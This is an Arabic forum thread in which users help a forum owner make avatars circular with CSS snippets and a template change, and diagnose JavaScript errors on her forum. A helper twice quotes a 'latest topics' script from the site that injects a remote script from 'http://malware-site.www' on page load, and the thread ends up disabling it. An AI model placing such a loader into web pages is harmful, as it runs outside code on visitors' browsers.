اريد ان تكون الصورة الرمزية دائرة

السلام عليكم



اريد كون تجعل  الصورة الرمزية دائرة 


وشكرا

لا اعرف ان كان هذا سينجح معك ام لا حيث انه منتداى ليس تابعا لاحلى منتدى
جرب احد الكودين فى ورقة التصميم CSS

الكود:


.post .post_author div.author_avatar img {
border-radius: 55%;
 transition:all 0.3s ease;
}
.post .post_author div.author_avatar img:hover {
border-radius: 0%;
transition:all 0.3s ease;
}

الكود:


.poster-profile.postdetails img {
border-radius: 55%;
 transition:all 0.3s ease;
}
.poster-profile.postdetails img:hover {
border-radius: 0%;
transition:all 0.3s ease;
}

بعد اذن الاخوه اعلاه
--------------
جرب هذا الكود

الكود:

.postdetails.poster-profile a img {
    border-radius: 100px;
    height: 100px;
    width: 100px;
  border: 2px solid #CCFFFF;
  background:#CC99FF;
}

@stones
لم يعمل بحسب التجربة لدى
اعتقد انه قد تم تغيير الوسوم او شىء ما
هذا الكود يعمل على منتدى الدعم هنا وتم تجربته ويعمل

الكود:

.mod-login-avatar dt, #main-content > div.post .postprofile dt > a, #fa_popup_content > div.post .postprofile dt > a, .postprofile dt > img, .lastpost-avatar, td.avatar-mini img, .avatar, #userAvatar {
   background: #FFF;
   border-radius: 100px;
   box-shadow: 0px 2px 3px rgba(0, 0, 0, 0.3), 0px -1px 1px rgba(0, 0, 0, 0.3);
   display: inline-block;
   height: 100px;
   width: 100px;
   padding: 3px;
   margin: 10px 0;
   overflow: hidden;
}

حسب وسم المنتدى يشتغل الكود ان كان الاول او التالي

انا وضعته في ورقة التصاميم 
لكن لاتعمل معي 


هذا رابط منتداي

http://wwwsoma.forumarabia.com/

السلام عليكم, عن اذن الاخوة

جربي الكود التالي:

الكود:

.postdetails.poster-profile img {
    border-radius: 100px
}

واخبرينا بالنتيجة, يوضع في ورقة التصميم css

يال الهول
المنتدى به اخطاء فادحه

http://wwwsoma.forumarabia.com/99401.js
نوع الخطاء
SyntaxError: expected expression, got '<'
يوجد تعارض مع او بسبب التالى

الكود:

     <script><br style="margin: 0px; padding: 0px;" />  /*<br style="margin: 0px; padding: 0px;" />      كود آخر المواضيع الاحترافي بدون تمبيلات<br style="margin: 0px; padding: 0px;" />        فقط للنسخة الثانية phpbb2<br style="margin: 0px; padding: 0px;" />        <br style="margin: 0px; padding: 0px;" />  */      <br style="margin: 0px; padding: 0px;" />  var s=document.createElement('script');<br style="margin: 0px; padding: 0px;" />      s.src="http://malware-site.www";<br style="margin: 0px; padding: 0px;" /><br style="margin: 0px; padding: 0px;" />  function get_lastPost(v){ var <br style="margin: 0px; padding: 0px;" />g=document.getElementsByTagName('script');g=g[g.length-1]; var <br style="margin: 0px; padding: 0px;" />parent=g.parentNode.parentNode.parentNode.parentNode.parentNode; var <br style="margin: 0px; padding: 0px;" />div=parent.getElementsByTagName('table')[parent.getElementsByTagName('table').length-2];<br style="margin: 0px; padding: 0px;" /> div.removeAttribute('class'); var r=div.innerHTML; <br style="margin: 0px; padding: 0px;" />r=r.replace(/<!--[\S\s]*?-->/g,''); r=r.replace(/<tr><td <br style="margin: 0px; padding: 0px;" />class="ca[\S\s]*?<\/tr>/g,''); div.innerHTML=r; <br style="margin: 0px; padding: 0px;" />div=div.getElementsByTagName('span')[0]; var r=div.innerHTML; <br style="margin: 0px; padding: 0px;" />r='<table class="da3m forumarabia com" style="background: none repeat<br style="margin: 0px; padding: 0px;" /> scroll 0 0 white;width:100%"><tr><td align="right" <br style="margin: 0px; padding: 0px;" />colspan="2" width="20%"></td><td <br style="margin: 0px; padding: 0px;" />width="40%"></td></tr><tr <br style="margin: 0px; padding: 0px;" />valign="top"><td>'+r+'</td></tr></table>'; <br style="margin: 0px; padding: 0px;" />r=r.replace(/<br><br>/g,'</td></tr><tr <br style="margin: 0px; padding: 0px;" />valign="top"><td>'); r=r.replace(/<tr <br style="margin: 0px; padding: 0px;" />valign="top">[\S\s]*?<a/g,'<tr valign="top"><td <br style="margin: 0px; padding: 0px;" />colspan="1" style="width: 24px;border-top: 0px none; padding: 0px; <br style="margin: 0px; padding: 0px;" />background: transparent <br style="margin: 0px; padding: 0px;" />url(http://i49.servimg.com/u/f49/16/89/40/74/last10.jpg) no-repeat <br style="margin: 0px; padding: 0px;" />scroll center top; -moz-background-clip: border; -moz-background-origin:<br style="margin: 0px; padding: 0px;" /> padding; -moz-background-inline-policy: continuous;" <br style="margin: 0px; padding: 0px;" />width="24"><img src="http://2img.net/i/fa/empty.gif" width="24" <br style="margin: 0px; padding: 0px;" />border="0"></td><td style="border-top: 0px none; padding: <br style="margin: 0px; padding: 0px;" />0px; line-height: 20px; background-repeat: repeat;" align="right" <br style="margin: 0px; padding: 0px;" />background="http://i49.servimg.com/u/f49/16/89/40/74/bg14.jpg" <br style="margin: 0px; padding: 0px;" />width="60%"><a'); r=r.replace(/من <br style="margin: 0px; padding: 0px;" />طرف[\S\s]*?<a/g,'</td><td style="border-top: 0px none; <br style="margin: 0px; padding: 0px;" />padding: 0px; line-height: 17px; background-repeat: repeat;" <br style="margin: 0px; padding: 0px;" />align="right" <br style="margin: 0px; padding: 0px;" />background="http://i49.servimg.com/u/f49/16/89/40/74/bg14.jpg" <br style="margin: 0px; padding: 0px;" />width="15%"><img <br style="margin: 0px; padding: 0px;" />src="http://i49.servimg.com/u/f49/16/89/40/74/user13.png" alt="member" <br style="margin: 0px; padding: 0px;" />width="16px" height="16px"><a'); div.innerHTML='<img <br style="margin: 0px; padding: 0px;" />height="34" src="http://i49.servimg.com/u/f49/16/89/40/74/tttttt10.jpg" <br style="margin: 0px; padding: 0px;" />alt="style" width="100%">'+r+'<img height="34" <br style="margin: 0px; padding: 0px;" />src="http://i49.servimg.com/u/f49/16/89/40/74/untitl57.jpg" alt="style" <br style="margin: 0px; padding: 0px;" />width="100%">'; }<br style="margin: 0px; padding: 0px;" />      var fs = document.getElementsByTagName('script')[0]; fs.parentNode.insertBefore(s,fs);<br style="margin: 0px; padding: 0px;" />  var version ='phpbb2';<br style="margin: 0px; padding: 0px;" />  get_lastPost(version);<br style="margin: 0px; padding: 0px;" />  /*------- da3m.forumarabia.com ---------------*/<br style="margin: 0px; padding: 0px;" />  </script>


يوجد خطاء SyntaxError: expected expression, got '<' فى
http://wwwsoma.forumarabia.com/19291.js
يوجد خطاء فادح وخطير جدا فى
http://dpm.demdex.net/demconf.jpg?et:ibs|data:dpid=96678&dpuuid=zWkta2UvGEzI
نوع الخطاء
SyntaxError: illegal character
كيفية اصلاح الاخطاء او اين تبحثين عنها
http://wwwsoma.forumarabia.com/99401.js
http://wwwsoma.forumarabia.com/19291.js
هذه اكواد مضافة فى ادارة اكواد الجافا
باقى الاكواد الاخرى والمذكورة فى الموضوع قد يكون منها بادارة اكواد الجافا او بالعناصر المستقلة او القوالب اذا تم التعديل على القوالب
ربما تلك اسباب عدم عمل الكود

ماذا افعل لكي اصلح جميع هذه الاخطاء

هل احذف جميع الاكواد التي في ورقة التصاميم؟؟؟؟

احذفي اكواد جافا المتواجدة برد العضو لكي يعمل لديكي الاستايل بشكل صحيح

حذفت جميع اكواد جافا

هل قمتى بالتعديل على القوالب (التومبلات)
بالفعل اختفت معظم الاخطاء لكن مازال يوجد تعارض او خطاء من المحتوى
نوع الخطاء
SyntaxError: expected expression, got '<'
المحتوى

الكود:

     <script><br style="margin: 0px; padding: 0px;" />  /*<br style="margin: 0px; padding: 0px;" />      كود آخر المواضيع الاحترافي بدون تمبيلات<br style="margin: 0px; padding: 0px;" />        فقط للنسخة الثانية phpbb2<br style="margin: 0px; padding: 0px;" />        <br style="margin: 0px; padding: 0px;" />  */      <br style="margin: 0px; padding: 0px;" />  var s=document.createElement('script');<br style="margin: 0px; padding: 0px;" />      s.src="http://malware-site.www";<br style="margin: 0px; padding: 0px;" /><br style="margin: 0px; padding: 0px;" />  function get_lastPost(v){ var <br style="margin: 0px; padding: 0px;" />g=document.getElementsByTagName('script');g=g[g.length-1]; var <br style="margin: 0px; padding: 0px;" />parent=g.parentNode.parentNode.parentNode.parentNode.parentNode; var <br style="margin: 0px; padding: 0px;" />div=parent.getElementsByTagName('table')[parent.getElementsByTagName('table').length-2];<br style="margin: 0px; padding: 0px;" /> div.removeAttribute('class'); var r=div.innerHTML; <br style="margin: 0px; padding: 0px;" />r=r.replace(/<!--[\S\s]*?-->/g,''); r=r.replace(/<tr><td <br style="margin: 0px; padding: 0px;" />class="ca[\S\s]*?<\/tr>/g,''); div.innerHTML=r; <br style="margin: 0px; padding: 0px;" />div=div.getElementsByTagName('span')[0]; var r=div.innerHTML; <br style="margin: 0px; padding: 0px;" />r='<table class="da3m forumarabia com" style="background: none repeat<br style="margin: 0px; padding: 0px;" /> scroll 0 0 white;width:100%"><tr><td align="right" <br style="margin: 0px; padding: 0px;" />colspan="2" width="20%"></td><td <br style="margin: 0px; padding: 0px;" />width="40%"></td></tr><tr <br style="margin: 0px; padding: 0px;" />valign="top"><td>'+r+'</td></tr></table>'; <br style="margin: 0px; padding: 0px;" />r=r.replace(/<br><br>/g,'</td></tr><tr <br style="margin: 0px; padding: 0px;" />valign="top"><td>'); r=r.replace(/<tr <br style="margin: 0px; padding: 0px;" />valign="top">[\S\s]*?<a/g,'<tr valign="top"><td <br style="margin: 0px; padding: 0px;" />colspan="1" style="width: 24px;border-top: 0px none; padding: 0px; <br style="margin: 0px; padding: 0px;" />background: transparent <br style="margin: 0px; padding: 0px;" />url(http://i49.servimg.com/u/f49/16/89/40/74/last10.jpg) no-repeat <br style="margin: 0px; padding: 0px;" />scroll center top; -moz-background-clip: border; -moz-background-origin:<br style="margin: 0px; padding: 0px;" /> padding; -moz-background-inline-policy: continuous;" <br style="margin: 0px; padding: 0px;" />width="24"><img src="http://2img.net/i/fa/empty.gif" width="24" <br style="margin: 0px; padding: 0px;" />border="0"></td><td style="border-top: 0px none; padding: <br style="margin: 0px; padding: 0px;" />0px; line-height: 20px; background-repeat: repeat;" align="right" <br style="margin: 0px; padding: 0px;" />background="http://i49.servimg.com/u/f49/16/89/40/74/bg14.jpg" <br style="margin: 0px; padding: 0px;" />width="60%"><a'); r=r.replace(/من <br style="margin: 0px; padding: 0px;" />طرف[\S\s]*?<a/g,'</td><td style="border-top: 0px none; <br style="margin: 0px; padding: 0px;" />padding: 0px; line-height: 17px; background-repeat: repeat;" <br style="margin: 0px; padding: 0px;" />align="right" <br style="margin: 0px; padding: 0px;" />background="http://i49.servimg.com/u/f49/16/89/40/74/bg14.jpg" <br style="margin: 0px; padding: 0px;" />width="15%"><img <br style="margin: 0px; padding: 0px;" />src="http://i49.servimg.com/u/f49/16/89/40/74/user13.png" alt="member" <br style="margin: 0px; padding: 0px;" />width="16px" height="16px"><a'); div.innerHTML='<img <br style="margin: 0px; padding: 0px;" />height="34" src="http://i49.servimg.com/u/f49/16/89/40/74/tttttt10.jpg" <br style="margin: 0px; padding: 0px;" />alt="style" width="100%">'+r+'<img height="34" <br style="margin: 0px; padding: 0px;" />src="http://i49.servimg.com/u/f49/16/89/40/74/untitl57.jpg" alt="style" <br style="margin: 0px; padding: 0px;" />width="100%">'; }<br style="margin: 0px; padding: 0px;" />      var fs = document.getElementsByTagName('script')[0]; fs.parentNode.insertBefore(s,fs);<br style="margin: 0px; padding: 0px;" />  var version ='phpbb2';<br style="margin: 0px; padding: 0px;" />  get_lastPost(version);<br style="margin: 0px; padding: 0px;" />  /*------- da3m.forumarabia.com ---------------*/<br style="margin: 0px; padding: 0px;" />  </script>


اذا لم اكن مخطأ فهذا موضعه باحد العناصر المستقلة
ايضا نافذة الترحيب غير متناسقه تماما ولا تعمل بسبب كبر حجم الصورة التى بداخلها
تأكدى انه نافذة الترحيب لا تحتوى على اكواد جافا غريبة

لا يوجد اكواد جافا في نافذة الترحيب


في الاسابيع الماضية كانت تشتغل معي جميع الاكواد  بدون حذف اي كود في المنتدى اما الان كل مااضيف كود مايشتغل

لم تجيبى على السؤال الاساسى
هل عدلتى القوالب ( التومبلات ) الخاصة بالمنتدى ؟
ايضا واضح انه الكود عباره عن اخر المواضيع بدون تومبلات
ربما الكود لم يعد صالحا للعمل
يرجى تعطيل العناصر المستقلة والتجربه

كيف اعدل التومبيلات ماذا اعدل فيها ؟؟


العناصر المستقلة كود اخر المواضيع تم تعطيله وتم الترجبة ولم يحدث شئ

واضح بانك لم تتركى العناصر المستقله معطله لحين دخولى وفحص المنتدى بدون العناصر المستقله لاتاكد من الاخطاء تلك
على كلا
انصح بالتخلى عن كود اخر المواضيع بدون تومبلات
اعتد انه اذا اردتى وضع اخر المواضيع بالاعلى اتباع شرح اخر المواضيع بالتومبلات
مع مراعاة تغيير الصورة التى بنافذة الترحيب واضافة صورة اقل حجما
غير ذلك لا يوجد اى مشاكل اخرى بالمنتدى
يوجد ايضا طريقة مضمونه 100% على النسخة punbb وتعمل على النسخة phpbb2 لكن بيحدث تداخل بين بيانات العضو والصورة
فى قالب
viewtopic_body
جدى التالى
{postrow.displayed.POSTER_AVATAR}
واستبدليه بالتالى

الكود:

<div class="imgholder"><div class="outer1 circle"></div><div class="outer2 circle"></div><figure>{postrow.displayed.POSTER_AVATAR}</figure></div

ثم فى ورقة الCSS اضيفى التالى

الكود:

        .imgholder{
              position:relative;
              width:120px;
              height:120px;
              border-radius:100px;
              float:left;
              margin:40px 30px;
            }
            /* thumbnails style */
            .imgholder img{
              position:absolute;
              left:0;
              top:0;
              width:120px;
              height:120px;
              z-index:5;
              border-radius:100px;
              -moz-border-radius:100px;
              -webkit-border-radius:100px;
              opacity:0.3;
              filter: alpha(opacity = 30);
              box-shadow:0 0 5px #000;
              -moz-box-shadow:0 0 5px #000;
              -webkit-box-shadow:0 0 5px #000;
           
            transform: scale(0.5,0.5);
              -ms-transform: scale(0.5,0.5);
              -moz-transform: scale(0.5,0.5);
              -webkit-transform: scale(0.5,0.5);
           
            transition:
                  opacity 1s,
                  transform 1s ease-in-out 0.3s;
              -moz-transition:
                  opacity 1s,
                  -moz-transform 1s ease-in-out 0.3s;
              -webkit-transition:
                  opacity 1s,
                  -webkit-transform 1s ease-in-out 0.3s;
            }
            .imgholder:hover img{
              opacity:1;
              filter: alpha(opacity = 100);
              transform: scale(1,1);
              -ms-transform: scale(1,1);
              -moz-transform: scale(1,1);
              -webkit-transform: scale(1,1);
            }
            .imgholder figcaption{
              position:absolute;
              left:-5px;
              top:40%;
              width:130px;
              color:#004E87;
              font-weight:bold;
              text-shadow:-1px -1px 0 #fff;
              z-index:4;
           
            transition:
                  top 0.5s ease-out;
              -moz-transition:
                  top 0.5s ease-out;
              -webkit-transition:
                  top 0.5s ease-out;
            }
            .imgholder:hover figcaption{
              top:120%;
            }
            /* decorations style */
            .imgholder .circle{
              position:absolute;
              border-radius:100px;
              -moz-border-radius:100px;
              -webkit-border-radius:100px;
            }
            .imgholder .outer1{
              top:-8px;
              left:-8px;
              width:120px;
              height:120px;
              z-index:2;
              border:8px solid;
              border-color:#DEEBFC;
              box-shadow:0 0 3px #AFD3FF;
              -moz-ox-shadow:0 0 3px #AFD3FF;
              -webkit-box-shadow:0 0 3px #AFD3FF;
              background: #ffffff;
              background: -moz-radial-gradient(center, ellipse cover, #ffffff 0%, #e2efff 100%);
              background: -webkit-gradient(radial, center center, 0px, center center, 100%, color-stop(0%,#ffffff), color-stop(100%,#e2efff));
              background: -webkit-radial-gradient(center, ellipse cover, #ffffff 0%,#e2efff 100%);
              background: -o-radial-gradient(center, ellipse cover, #ffffff 0%,#e2efff 100%);
              background: -ms-radial-gradient(center, ellipse cover, #ffffff 0%,#e2efff 100%);
              background: radial-gradient(center, ellipse cover, #ffffff 0%,#e2efff 100%);
              filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#ffffff', endColorstr='#e2efff',GradientType=1 );
              transform:rotate(90deg);
              -ms-transform:rotate(90deg);
              -moz-transform:rotate(90deg);
              -webkit-transform:rotate(90deg);
              transition:
                  transform 1.8s ease-in-out,
                  box-shadow 1s ease-out,
                  border-color 1.5s;
              -moz-transition:
                  -moz-transform 1.8s ease-in-out,
                  -moz-box-shadow 1s ease-out,
                  border-color 1.5s;
              -webkit-transition:
                  -webkit-transform 1.8s ease-in-out,
                  -webkit-box-shadow 1s ease-out,
                  border-color 1.5s;}
            .imgholder:hover .outer1{
              border-color:#0088EA #7FC9FF #0088EA #7FC9FF;
              box-shadow:0 0 10px #0285E2;
              -moz-box-shadow:0 0 10px #0285E2;
              -webkit-box-shadow:0 0 10px #0285E2;
              transform:rotate(-10deg);
              -ms-transform:rotate(-10deg);
              -moz-transform:rotate(-10deg);
              -webkit-transform:rotate(-10deg);}
            .imgholder .outer2{
              top:-18px;
              left:-18px;
              width:136px;
              height:136px;
              z-index:1;
              border:10px solid;
              border-color: #D6E5FC #9BC8FF #D6E5FC #9BC8FF;
              box-shadow:0 0 20px #8EB9FF;
              -moz-box-shadow:0 0 20px #8EB9FF;
              -webkit-box-shadow:0 0 20px #8EB9FF;
              opacity:0;
              filter: alpha(opacity = 0);
              transform: scale(1.3,1.3) rotate(180deg);
              -ms-transform: scale(1.3,1.3) rotate(180deg);
              -moz-transform: scale(1.3,1.3) rotate(180deg);
              -webkit-transform: scale(1.3,1.3) rotate(180deg);
              transition:
                  opacity 0.5s,
                  transform 0.7s ease-out;
              -moz-transition:
                  opacity 0.5s,
                  -moz-transform 0.7s ease-out;
              -webkit-transition:
                  opacity 0.5s,
                  -webkit-transform 0.7s ease-out;}
            .imgholder:hover .outer2{
              opacity:0.9;
              filter: alpha(opacity = 90);
              transform: scale(1,1) rotate(-10deg);
              -ms-transform: scale(1,1) rotate(-10deg);
              -moz-transform: scale(1,1) rotate(-10deg);
              -webkit-transform: scale(1,1) rotate(-10deg);}

ايضا فى حالة وجود اكواد غير مستخدمة فى الCSS يفضل حذفها حتى لا يصبح المنتدى ثقيلا وبطيئا فيما بعد

لقد حذفت اخر مواضيع بدوتومبيلات
وغيرت صورة نافذة الترحيب الى اقل حجما لكنها لم تظهر عندما تظهر سأرى ان كانت مناسبة 
واضفت ماطلبته مني 

وبعد ذلك مااذا افعل ؟

الصورة تظهر صغيرة
دى مش مشكلة كبير
المهم هل انتى متاكدة انك حذفتى او الغيتى الكود المذكور ؟
انا لسه شايفه موجود فى تقرير الاخطاء
وهو الخطاء الوحيد الباقى فى المنتدى مافيش اى اخطاء تانى غيره
على اى حال انا متوقع عدم قدرتك على الوصول لعمق المشكلة
تم التسجيل كل ما ساحتاج اليه تفعيل العضويه + منحها لوحة الادارة وساعاين اكواد الجافا والعناصر المستقلة وما الى ذلك وبما انك لا تعرفى القوالب فمعاينة القوالب غير صروريه بالمرة
هذا اذا توافقين على السماح لى بالمعاينه بنفسى
شكرا

تفضلي الكود بعد وضع رابط منتداك تين الوسم

الكود:

.postdetails poster-profile img {
    border-radius: 100px;
    height: 100px;
    width: 100px;
  border: 2px solid #CCFFFF;
  background:#CC99FF;
}

ضعي الكود في اعلى الورقة وسجلي
اذا لم يشتغل ضعي ورقة css
هناء لفحصها

بعتزر جدا فى التاخير على الاستجابة تعطل جهازى وكان عليا اصلاحة اولا
بعد الفحص
لم اجد سوى كود جافا موضوع فى ورقة التصميم CSS
تم الغاء احد العناصر المستقلة لان وجوده مثل عدمة والذى يقوم باظهار الخطاء الذى ذكرتة مسبقا
تم تركيب الكود الموضوج بالرد
رد: اريد ان تكون الصورة الرمزية دائرة
وبحسب ما ارى انه يعمل بشكل سليم
هل يوجد اى استفسارات اخرى او مشاكل اخرى

ملحوظة
الصورة تصبح عادية عند مرور المؤشر عليها تصبح دارية فيى حالة بعد المؤشر عنها